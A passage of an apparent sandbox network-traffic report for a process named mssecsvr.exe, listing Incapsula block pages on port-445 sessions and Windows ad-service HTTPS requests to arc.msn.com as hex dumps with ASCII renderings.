6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 34 39 30 38 31 33 38 38 35 33 32 31 30 38 34 39 32 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 34 39 30 38 31 33 38 38 35 33 32 31 30 38 34 39 32 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-106752240-0%200NNN%20RT%281658338353740%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-549081388532108492&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-549081388532108492</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	45.60.207.3	445	192.168.2.7	54300	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:37.714200020 CEST	9932	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 700 X-Iinfo: 12-106753034-0 0NNN RT(1658338356902 0) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 31 32 2d 31 30 36 37 35 33 30 33 34 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 35 36 39 30 32 25 32 30 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 35 34 39 30 38 35 31 38 35 32 38 33 31 39 38 31 35 36 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 35 34 39 30 38 35 31 38 35 32 38 33 31 39 38 31 35 36 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=12-106753034-0%200NNN%20RT%281658338356902%200%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-549085185283198156&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-549085185283198156</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	45.60.207.4	445	192.168.2.7	54344	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:38.005909920 CEST	9935	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 702 X-Iinfo: 3-250942181-0 0NNN RT(1658338357352 60) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 33 2d 32 35 30 39 34 32 31 38 31 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 35 37 33 35 32 25 32 30 36 30 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 32 34 38 39 31 37 31 32 30 33 37 34 38 37 30 37 32 33 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 32 34 38 39 31 37 31 32 30 33 37 34 38 37 30 37 32 33 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=3-250942181-0%200NNN%20RT%281658338357352%2060%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-1248917120374870723&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-1248917120374870723</iframe></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	45.60.207.4	445	192.168.2.7	54417	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
Jul 20, 2022 19:32:41.148101091 CEST	9982	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Cache-Control: no-cache, no-store Connection: close Content-Length: 702 X-Iinfo: 7-244128315-0 0NNN RT(1658338360494 62) q(-1 -1 -1 -1) r(0 -1) b1 Data Raw: 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 68 65 61 64 3e 3c 4d 45 54 41 20 4e 41 4d 45 3d 22 52 4f 42 4f 54 53 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 49 4e 44 45 58 2c 20 4e 4f 46 4f 4c 4c 4f 57 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 66 6f 72 6d 61 74 2d 64 65 74 65 63 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 6c 65 70 68 6f 6e 65 3d 6e 6f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 22 3e 3c 69 66 72 61 6d 65 20 69 64 3d 22 6d 61 69 6e 2d 69 66 72 61 6d 65 22 20 73 72 63 3d 22 2f 5f 49 6e 63 61 70 73 75 6c 61 5f 52 65 73 6f 75 72 63 65 3f 43 57 55 44 4e 53 41 49 3d 32 26 78 69 6e 66 6f 3d 37 2d 32 34 34 31 32 38 33 31 35 2d 30 25 32 30 30 4e 4e 4e 25 32 30 52 54 25 32 38 31 36 35 38 33 33 38 33 36 30 34 39 34 25 32 30 36 32 25 32 39 25 32 30 71 25 32 38 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 30 2d 31 25 32 39 25 32 30 72 25 32 38 30 25 32 30 2d 31 25 32 39 25 32 30 62 31 26 69 6e 63 69 64 65 6e 74 5f 69 64 3d 30 2d 31 32 37 39 35 36 39 36 32 37 36 35 36 35 35 37 32 35 35 26 65 64 65 74 3d 33 26 63 69 6e 66 6f 3d 66 66 66 66 66 66 66 66 26 70 65 3d 35 34 34 26 72 70 69 6e 66 6f 3d 30 26 6d 74 68 3d 4e 41 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 30 20 77 69 64 74 68 3d 22 31 30 30 25 22 20 68 65 69 67 68 74 3d 22 31 30 30 25 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 70 78 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 70 78 22 3e 52 65 71 75 65 73 74 20 75 6e 73 75 63 63 65 73 73 66 75 6c 2e 20 49 6e 63 61 70 73 75 6c 61 20 69 6e 63 69 64 65 6e 74 20 49 44 3a 20 30 2d 31 32 37 39 35 36 39 36 32 37 36 35 36 35 35 37 32 35 35 3c 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html style="height:100%"><head><META NAME="ROBOTS" CONTENT="NOINDEX, NOFOLLOW"><meta name="format-detection" content="telephone=no"><meta name="viewport" content="initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"></head><body style="margin:0px;height:100%"><iframe id="main-iframe" src="/_Incapsula_Resource?CWUDNSAI=2&xinfo=7-244128315-0%200NNN%20RT%281658338360494%2062%29%20q%28-1%20-1%20-1%20-1%29%20r%280%20-1%29%20b1&incident_id=0-1279569627656557255&edet=3&cinfo=ffffffff&pe=544&rpinfo=0&mth=NA" frameborder=0 width="100%" height="100%" marginheight="0px" marginwidth="0px">Request unsuccessful. Incapsula incident ID: 0-1279569627656557255</iframe></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49722	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:29:55 UTC	0	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=314559&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T022943Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=b83311f5b46144cc8a9ff39e4af791f4&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611744&metered=false&nettype=ethernet&npid=sc-314559&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&smBiosDm=VMware7%2C1&tl=2&tsu=1611744&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: bdqkxvXCTUu0dYV/.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:29:55 UTC	3	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=1697 Content-Length: 53755 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"2,P425106554-T700342084-C128000000001392709+B+P80+S1,P425106558-T700342085-C128000000001392729+B+P80+S2"},{"BATCH_REDIRECT_STORE":"1,BB_9NXQXXLFST89_9WZDNCRFHVFW_9WZDNCRFJ3P2_9NCBCSZSJRSB_9NMPJ99VJBWV_9NBLGGH5FV99_9WZDNCRDFNG7+P0+S0"},{"BATCH_REDIRECT_STORE":"1,BB_9NBLGGGZM6WM_9WZDNCRFHWD2_9NH2GPH4JZS4_9NBLGGH6J6VK_9P6RC76MSMMJ_9WZDNCRFJ27N_9N0866FS04W8_9WZDNCRFJ10M_9WZDNCRFJ140_9NC2FBTHCJV8_9NBLGGH1CQ7L+P0+S0"},{"OPTOUTSTATE":"256"}] X-ARC-SIG: Jy2WLz9mUz0X2GAOjz5A8HjQrLW7BhVQiWU7ucDYrxtpVuX5FuFmDqOrtD+rRiNFI0oqq70Ti5iTO9TvOdCpZZIsWPc0GF52yU7zyrIuc6w7KEXl0BmmqQIeGb46YJv2k4yyWz3hk/XDCGD45HlKOhw8OszSxvPTEuuHsJW2VtC9KDcrnjm1ogMxiCG4KxK3rnX6EWR7sPogJyq0CLxII5NVMXXcpORUfTXIn/qQsZUwnyk4B2fyfQywnTlcJ3qNYvrqp4cW74ygIHWei2GfcdZ4KkhGaReDC6/EEtEcRQfF2YN1Ns75UzXyTaCHuJx4HXf/5DWSVrBDE/vfk1Sq5A== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:29:55 GMT Connection: close
2022-07-20 17:29:55 UTC	4	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 73 74 6f 72 65 43 61 6d 70 61 69 67 6e 49 64 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 74 65 78 74 5c 22 2c 5c 22 69 73 4f 70 74 69 6f 6e 61 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 69 6e 73 74 61 6c 6c 41 70 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 62 6f 6f 6c 65 61 6e 5c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"u\":\"SubscribedContent\",\"c\":\"CDM\"}],\"ad\":{\"itemPropertyManifest\":{\"storeCampaignId\":{\"type\":\"text\",\"isOptional\":true},\"installApp\":{\"type\":\"boolean\
2022-07-20 17:29:55 UTC	19	IN	Data Raw: 5c 22 3a 5c 22 63 6c 69 63 6b 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 5c 22 75 72 69 5c 22 3a 5c 22 6d 73 2d 77 69 6e 64 6f 77 73 2d 73 74 6f 72 65 3a 5c 2f 5c 2f 70 64 70 5c 2f 3f 70 72 6f 64 75 63 74 69 64 3d 39 6e 62 6c 67 67 68 35 66 76 39 39 26 6f 63 69 64 3d 65 6d 73 2e 64 63 6f 2e 73 74 61 72 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 34 63 66 33 34 39 66 37 37 38 36 39 34 39 66 31 38 63 37 35 66 61 33 31 39 61 37 65 32 35 33 64 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d Data Ascii: \":\"click\",\"parameters\":{\"uri\":\"ms-windows-store:\/\/pdp\/?productid=9nblggh5fv99&ocid=ems.dco.startprogrammable&ccid=4cf349f7786949f18c75fa319a7e253d&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{}
2022-07-20 17:29:55 UTC	35	IN	Data Raw: 74 70 72 6f 67 72 61 6d 6d 61 62 6c 65 26 63 63 69 64 3d 39 65 32 34 37 36 65 35 65 62 61 37 34 61 62 32 39 32 34 32 62 32 63 66 37 35 65 33 65 30 30 65 26 63 69 64 3d 6d 73 66 74 5f 31 5c 22 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6c 61 75 6e 63 68 55 72 69 5c 22 7d 2c 5c 22 6f 6e 52 65 6e 64 65 72 5c 22 3a 7b 5c 22 65 76 65 6e 74 5c 22 3a 5c 22 6f 70 70 6f 72 74 75 6e 69 74 79 5c 22 2c 5c 22 70 61 72 61 6d 65 74 65 72 73 5c 22 3a 7b 7d 2c 5c 22 61 63 74 69 6f 6e 5c 22 3a 5c 22 6e 6f 4f 70 5c 22 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 4d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 6f 77 4e 61 6d 65 4f 6e 57 69 64 65 54 69 6c 65 5c 22 3a 7b 5c 22 62 6f 6f 6c 5c 22 3a 74 72 75 65 7d 2c 5c 22 73 68 Data Ascii: tprogrammable&ccid=9e2476e5eba74ab29242b2cf75e3e00e&cid=msft_1\"},\"action\":\"launchUri\"},\"onRender\":{\"event\":\"opportunity\",\"parameters\":{},\"action\":\"noOp\"},\"showNameOnMediumTile\":{\"bool\":true},\"showNameOnWideTile\":{\"bool\":true},\"sh
2022-07-20 17:29:55 UTC	51	IN	Data Raw: 61 64 38 31 2d 31 33 31 39 36 66 35 62 61 66 30 30 3f 66 6f 72 6d 61 74 3d 73 6f 75 72 63 65 5c 22 2c 5c 22 77 69 64 74 68 5c 22 3a 31 34 32 2c 5c 22 68 65 69 67 68 74 5c 22 3a 31 34 32 2c 5c 22 73 68 61 32 35 36 5c 22 3a 5c 22 51 50 5c 2f 4a 45 48 4a 59 57 39 38 6d 36 39 4f 4a 4c 42 42 30 59 48 33 64 78 49 6a 70 75 6d 59 72 74 74 4c 46 38 62 66 5c 2f 33 66 77 3d 5c 22 2c 5c 22 66 69 6c 65 53 69 7a 65 5c 22 3a 31 37 30 31 38 7d 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 5c 22 3a 7b 5c 22 6e 75 6d 62 65 72 5c 22 3a 32 2e 30 7d 2c 5c 22 6d 65 64 69 75 6d 54 69 6c 65 5c 22 3a 7b 5c 22 69 6d 61 67 65 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2d 69 6d 61 67 65 73 2e 73 2d 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 5c 2f 69 6d 61 67 65 5c 2f 61 70 70 Data Ascii: ad81-13196f5baf00?format=source\",\"width\":142,\"height\":142,\"sha256\":\"QP\/JEHJYW98m69OJLBB0YH3dxIjpumYrttLF8bf\/3fw=\",\"fileSize\":17018},\"collection\":{\"number\":2.0},\"mediumTile\":{\"image\":\"https:\/\/store-images.s-microsoft.com\/image\/app

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49723	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:29:55 UTC	1	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220721T022943Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e2b41e237bc43c38f66525b1357dee4&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611744&metered=false&nettype=ethernet&npid=sc-310091&oemName=VMware%2C%20Inc.&oemid=VMware%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=VMware7%2C1&tl=2&tsu=1611744&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 Cache-Control: no-cache MS-CV: bdqkxvXCTUu0dYV/.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 17:29:55 UTC	2	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: bS7lIiviw3U4m4I+WUMZd9LYs5jiGBa+hRJIB1JPozIFQw7mmShNRWVst/Xe9Qc30QH4P+Woi109ftTps1RUp3BAvzYTFM5AFP+XO5mbLt2beoVhrPB65KSyLCGv2ielrJFewzBd5QNAh0LslSbj5uQUf6sRWT/7ASurEqv8gBLfiDhsRQL1R0KFxyaccnBF8nfFC2Ld09xlofKc+g5IdE2VABiNUeY1ZtoyIJBG0TaC7OsIDvhoNiBVsM18lH3UVTX09cfNi7Qo99uvD03URsJx10NLnoYscJygoNwiqM1vvhp2DiSHHycKZ5J6riTabV78qZ45P0ayB43oCJsoUg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 17:29:54 GMT Connection: close
2022-07-20 17:29:55 UTC	3	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 32 31 3a 32 39 3a 35 35 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T21:29:55"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.7	50179	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:43 UTC	187	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 30 35 37 33 64 30 65 35 37 65 32 31 34 62 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 70573d0e57e214b4
